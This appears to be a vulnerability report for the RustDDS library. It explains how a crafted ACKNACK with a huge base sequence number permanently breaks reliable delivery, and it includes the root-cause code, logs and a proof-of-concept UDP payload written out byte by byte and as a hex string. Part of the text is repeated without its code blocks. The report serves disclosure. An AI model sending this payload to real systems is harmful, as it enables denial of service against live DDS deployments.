Summary
Component: src/rtps/rtps_reader_proxy.rs, src/rtps/writer.rs
RustDDS accepts an ACKNACK submessage's readerSNState.base value from the network without validating that it falls within the range of sequence numbers the Writer has actually sent. A single crafted ACKNACK containing an artificially large base (e.g., 4611686018427387993, close to i64::MAX/2) permanently sets RtpsReaderProxy::all_acked_before to a near-maximum value.
After this injection, every subsequent legitimate ACKNACK from any real Reader has a base lower than the poisoned value, so the anti-rollback guard (new_acked > self.all_acked_before) rejects them all indefinitely. The Writer incorrectly believes the Reader has already acknowledged samples it never received, drains its history buffer, and can no longer retransmit them. Reliable QoS delivery is permanently broken without any crash, panic, or ASAN alert.
Affected Version
- RustDDS: v0.11.9
- OS: Ubuntu 22.04 (Linux 6.8.0, x86_64)
- Compiler: Rust stable (no sanitizer)
Root Cause
handle_ack_nack() in src/rtps/rtps_reader_proxy.rs directly trusts the network-supplied base value:
pub fn handle_ack_nack(&mut self, sn_state: SequenceNumberSet) {
let new_acked = sn_state.base() - SequenceNumber::from(1);
if new_acked > self.all_acked_before {
self.all_acked_before = new_acked; // no upper-bound validation
} else {
error!(
"all_acked_before updated backwards! old={:?} new={:?}",
self.all_acked_before, new_acked
);
}
}
There is no check that new_acked ≤ last_change_sequence_number (the Writer's highest sent sequence number). An attacker who sends base = 4611686018427387993 causes all_acked_before to be set to 4611686018427387992. All future legitimate ACKNACKs (whose base reflects the actual received sequence numbers) are then permanently rejected as "backwards."
The RTPS 2.3 specification (§8.3.7.1) explicitly requires that a Writer discard an ACKNACK whose SNState references sequence numbers the Writer has never sent.
Proof of Concept
Minimal malformed UDP payload that injects the large sequence number:
# RTPS packet with crafted ACKNACK submessage
# ACKNACK base = 4611686018427387993 (0x4000000000000059)
# → all_acked_before becomes 4611686018427387992
52 54 50 53 # RTPS magic
02 04 # Protocol version 2.4
01 0F # Vendor ID
C0 A8 01 02 00 00 00 00 00 00 00 00 # GUID prefix (12 bytes)
# ACKNACK submessage (kind = 0x06)
06 01 # submessage ID + flags (little-endian)
1C 00 # octetsToNextHeader = 28
03 00 00 07 # readerId
03 00 00 02 # writerId
00 00 00 40 # bitmapBase.high = 0x40000000
59 00 00 00 # bitmapBase.low = 0x59 → base = 0x4000000000000059
00 00 00 00 # numBits = 0
01 00 00 00 # count = 1
Hex string:
525450530204010FC0A8010200000000000000000601 1C00 03000007 03000002 00000040 59000000 00000000 01000000
Observed Log Evidence
Captured from the RTPS background thread after the malformed ACKNACK was received:
[ERROR rustdds::rtps::rtps_reader_proxy]
all_acked_before updated backwards!
old=SequenceNumber(4611686018427387992) new=SequenceNumber(89)
[ERROR rustdds::rtps::rtps_reader_proxy]
all_acked_before updated backwards!
old=SequenceNumber(4611686018427387992) new=SequenceNumber(89)
The error repeats every few seconds as the Reader sends new (legitimate) ACKNACKs, all of which are rejected. The all_acked_before field never advances from the injected value. The process does not crash.
Summary
Component:
src/rtps/rtps_reader_proxy.rs,src/rtps/writer.rsRustDDS accepts an
ACKNACKsubmessage'sreaderSNState.basevalue from the network without validating that it falls within the range of sequence numbers the Writer has actually sent. A single craftedACKNACKcontaining an artificially largebase(e.g.,4611686018427387993, close toi64::MAX/2) permanently setsRtpsReaderProxy::all_acked_beforeto a near-maximum value.After this injection, every subsequent legitimate
ACKNACKfrom any real Reader has abaselower than the poisoned value, so the anti-rollback guard (new_acked > self.all_acked_before) rejects them all indefinitely. The Writer incorrectly believes the Reader has already acknowledged samples it never received, drains its history buffer, and can no longer retransmit them. Reliable QoS delivery is permanently broken without any crash, panic, or ASAN alert.Affected Version
Root Cause
handle_ack_nack()insrc/rtps/rtps_reader_proxy.rsdirectly trusts the network-suppliedbasevalue:There is no check that
new_acked ≤ last_change_sequence_number(the Writer's highest sent sequence number). An attacker who sendsbase = 4611686018427387993causesall_acked_beforeto be set to4611686018427387992. All future legitimate ACKNACKs (whose base reflects the actual received sequence numbers) are then permanently rejected as "backwards."The RTPS 2.3 specification (§8.3.7.1) explicitly requires that a Writer discard an ACKNACK whose SNState references sequence numbers the Writer has never sent.
Proof of Concept
Minimal malformed UDP payload that injects the large sequence number:
Hex string:
Observed Log Evidence
Captured from the RTPS background thread after the malformed ACKNACK was received:
The error repeats every few seconds as the Reader sends new (legitimate) ACKNACKs, all of which are rejected. The
all_acked_beforefield never advances from the injected value. The process does not crash.